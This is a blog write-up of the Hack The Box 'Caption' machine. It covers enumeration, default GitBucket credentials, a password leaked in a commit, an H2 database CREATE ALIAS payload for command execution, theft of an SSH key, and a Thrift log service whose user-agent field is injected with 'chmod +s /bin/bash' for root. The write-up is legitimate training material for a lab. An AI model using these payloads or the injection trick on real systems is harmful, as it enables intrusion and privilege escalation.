Caption HTB writeup

Walkethrough for the Caption HTB machine.

Posted by xtromera on September 19, 2024 · 15 mins read

Report

Beginning with the usual nmap scan

nmap 10.129.73.39 -p- -sV

We get a very weird output


1

nmap could not verify the Versions running but we get 3 open ports:

  • 22:SSH
  • 80: HTTP
  • 8080:HTTP

Beginning with the standard methodology, we interact with port 80


1

We get the usual redirection to a domain caption.htb
Adding it to /etc/hosts file


1

We get a login portal


1

Default login did not work.
Chose not to spend much time on this attack vector before checking the rest of the ports.
Interacting with port 8080, we get a GitBucket webpage


1

When clicking on sign in, we are prompted to a login portal


1

Trying root:root and it worked


1

We have 2 repositories Logservice and Caption-Portal
The Logservice repo helps in log correlation using the thrift service


1

The Caption-Portal repo is the service running on port 80 (I assumed)


1

Checking the last commits


1

We can see in the Update access control commit some credentials


1

margo:vFr&cS2#0!
Trying the credentials on the login page found on port 80 and it worked
We are welcomed with an index page


1

Following standard methodology and viewing source code but lead us to nowhere
Beginning directory brute forcing

gobuster dir -u="http://caption.htb/" -w=/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt,zip,sh

We get a weird output


1

All the endpoint in the firewall directory is redirected to a single point and it is the / directory. Will keep that in mind and look at that later.

Checking Gitbucket on port 8080


1

After clicking on System Administration/Database viewer


1

We can see a terminal where we can write SQL queries to be executed.
Testing for the service by giving it an arbitrary value, a service name was exposed.


1

H2 database.
Looking for exploits, found this link a SQL injection can be abused.
By using this code

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;


1

We can create an Alias that can execute System commands and we can call it by using this.

CALL SHELLEXEC('id')


1

Trying to pop out a reverse shell but it could not be possible.
Reading the /home/margo directory, a .ssh directory was discovered


1

We can see a private SSH key


1

Reading the file, it is displayed in a weird format


1

To adjust that, Base64 conversion was used


1

Copying the file to our local machine, decoding and give it the correct permissions to SSH


1

Following our standard methodology, we checked Internal ports running


1

Checking the services running on the background as root


1

server.go is identified to be running as root but the source code is inaccessible as it is located in /root which is inaccessible for us as margo user.
Going back to Gitbucket, Checking the other repository, Logservice, server.go can be identified and the source code can be read

    package main
     
    import (
        "context"
        "fmt"
        "log"
        "os"
        "bufio"
        "regexp"
        "time"
        "github.com/apache/thrift/lib/go/thrift"
        "os/exec"
        "log_service"
    )
     
    type LogServiceHandler struct{}
     
    func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
        file, err := os.Open(filePath)
        if err != nil {
            return "", fmt.Errorf("error opening log file: %v", err)
        }
        defer file.Close()
        ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
        userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
        outputFile, err := os.Create("output.log")
        if err != nil {
            fmt.Println("Error creating output file:", err)
            return
        }
        defer outputFile.Close()
        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
            line := scanner.Text()
            ip := ipRegex.FindString(line)
            userAgentMatch := userAgentRegex.FindStringSubmatch(line)
            var userAgent string
            if len(userAgentMatch) > 1 {
                userAgent = userAgentMatch[1]
            }
            timestamp := time.Now().Format(time.RFC3339)
            logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
            exec.Command{"/bin/sh", "-c", logs}
        }
        return "Log file processed",nil
    }
     
    func main() {
        handler := &LogServiceHandler{}
        processor := log_service.NewLogServiceProcessor(handler)
        transport, err := thrift.NewTServerSocket(":9090")
        if err != nil {
            log.Fatalf("Error creating transport: %v", err)
        }
     
        server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
        log.Println("Starting the server...")
        if err := server.Serve(); err != nil {
            log.Fatalf("Error occurred while serving: %v", err)
        }
    }

Thrift library can be identified and we know it is running on port 9090 from the source code.
Local port forwarding

ssh -L 9090:127.0.0.1:9090 margo@caption.htb -i id_rsa

We need to write a script to interact with this service.
First of all we need to define a thrift file, which is already defined in the Logservice repository under the name of log_service.thrift.

    namespace go log_service
     
    service LogService {
        string ReadLogFile(1: string filePath)
    }

Creating the file


1

After defining the Thrift file, we will need to generate the Python client code using the Thrift compiler

thrift --gen py log_service.thrift

After running the command, the directory will look like this


1

Then create the python script that will interact with the server

from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
    # Set up the transport and protocol
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    
    # Create a client
    client = LogService.Client(protocol)

    # Connect to the server
    transport.open()

    # Call the service method
    try:
        result = client.ReadLogFile('/path/to/your/logfile.log')
        print(f'Server Response: {result}')
    except Exception as e:
        print(f'Error: {e}')
    
    # Close the connection
    transport.close()

if __name__ == "__main__":
    main()

Create the client.py and put it in the gen-py directory


1

Create a dummy file in the /tmp directory in the remote machine and test the script


1


1

We can see that the Log file was processed successfully.
Analyzing the source code, we can see a potential Command injection here

 logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
            exec.Command{"/bin/sh", "-c", logs}

We can inject commands like this

 {"user-agent":"'; command_here ; #", "ip":"1.2.3.4"}

Creating a malicious Log file containing this command

 {"user-agent":"'; chmod +s /bin/bash ; #", "ip":"1.2.3.4"}


1

Change the client.py to point to this newly created log file


1

Run the Client script and now try to open a bash shell and drop the privileges.


1

The machine was pawned successfully


1